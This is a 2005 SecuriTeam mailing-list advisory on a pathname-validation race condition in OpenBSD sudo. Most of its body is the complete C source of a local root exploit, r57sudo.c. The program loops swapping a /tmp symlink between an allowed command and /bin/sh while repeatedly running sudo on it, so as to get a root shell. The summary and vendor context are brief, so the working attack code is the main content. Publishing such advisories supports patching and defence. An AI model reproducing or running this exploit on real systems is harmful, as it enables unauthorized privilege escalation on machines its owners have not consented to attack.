[UNIX] sudo Pathname Validation Race Condition (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 07/06/05

  • Next message: SecuriTeam: "[TOOL] N-View - Network Monitor"
    To: list@securiteam.com
    Date: 6 Jul 2005 15:04:29 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      sudo Pathname Validation Race Condition (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    sudo (superuser do) is "a program written for UNIX, Linux, and similar
    operating systems that allows users to run programs in the guise of
    another user (normally in the guise of the system's superuser)". A race
    condition in sudo whenever it tries to validates file pathname allows
    local attackers to gain elevated privileges.

    DETAILS

    Vulnerable Systems:
     * OpenBSD sudo versions 1.3.1 - 1.6.8p

    Exploit:
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sysexits.h>
    #include <sys/wait.h>

    #define SUDO "/usr/bin/sudo"
    #ifdef BUFSIZ
      #undef BUFSIZ
      #define BUFSIZ 128
    #endif

    /*
    ANY MODIFIED REPUBLISHING IS RESTRICTED
    OpenBSD sudo 1.3.1 - 1.6.8p local root exploit
    Tested under OpenBSD 3.6 sudo 1.6.7p5
    Vuln by OpenBSD errata, http://www.openbsd.org/errata.html
    (c)oded by __blf 2005 RusH Security Team, http://rst.void.ru
    Race condition in path name, can take a while to exploit
    Gr33tz: x97Rang, whice, rsh, MishaSt, Inck-Vizitor, BlackPrince
    Fck lamerz: Saint_I, nmalykh
    All rights reserved.
    ANY MODIFIED REPUBLISHING IS RESTRICTED
    */

    int main (int argc, char ** argv)
    {
      pid_t pid;
      void * buffer;
      char * exec, * race, * path;
      if(argc != 3)
      {
        fprintf(stderr, "r57sudo.c by __blf\n");
        fprintf(stderr, "RusH Security Team\n");
        fprintf(stderr, "Usage: %s <sudo full path command> <sudo command>\n",
        argv[0]);
        fprintf(stderr, "e.g. ./r57sudo /bin/ls ls\n");
        return EX_USAGE;
      }
      pid = fork();
      if(pid == 0)
      {
        while(1)
        {
          exec = (char *)calloc(BUFSIZ, sizeof(char));
          race = (char *)calloc(BUFSIZ, sizeof(char));
          bzero(exec, sizeof(exec));
          snprintf(exec, BUFSIZ, "ln -fs %s /tmp/%s", argv[1], argv[2]);
          system((char *)exec);
          bzero(race, sizeof(race));
          snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]);
          system((char *)race);
          bzero(race, sizeof(race));
          snprintf(race, BUFSIZ, "ln -fs /bin/sh /tmp/%s", argv[2]);
          system((char *)race);
          bzero(race, sizeof(race));
          snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]);
          system((char *)race);
        }
      }
      if(pid > 0)
      {
        while(1)
        {
          path = (char *)calloc(BUFSIZ/2, sizeof(char));
          snprintf(path, BUFSIZ/2, "%s /tmp/%s", SUDO, argv[2]);
          system((char *)path);
        }
      }
    }

    ADDITIONAL INFORMATION

    The original article can be found at:
    <http://rst.void.ru/download/r57sudo.c>
    http://rst.void.ru/download/r57sudo.c
    The information has been provided by <mailto:http://rst.void.ru> __blf.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[TOOL] N-View - Network Monitor"

    Relevant Pages

    • [UNIX] Sudo Race Condition Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A race condition with the Sudo command pathname handling allows a local ... When a user runs a command via Sudo, the inode and device numbers of the ... listed in the sudoers file is stored in the variable safe_cmnd, ...
      (Securiteam)
    • [EXPL] sudo Local Privilege Escalation
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... sudo is a program in Unix, Linux, and similar operating ... echo "Getting root!!" ... % gcc -o egg egg.c ...
      (Securiteam)
    • [UNIX] Sudo -u Parameter File Exposure
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Sudo allows a system ... While sudoedit runs the actual editor as the invoking user, ... make a link to an unreadable file with ...
      (Securiteam)
    • [UNIX] Appfluent Database IDS Local Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Appfluent Database IDS Local Buffer Overflow ... The problem is specific to the watcher process, as it needs to be run as ... administrators can run the process via sudo. ...
      (Securiteam)
    • [EXPL] Linux ftpd SSL Buffer Overflow (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... recv(sock, rbuf, BUFSIZ, 0); ... _recv(s, buf); ...
      (Securiteam)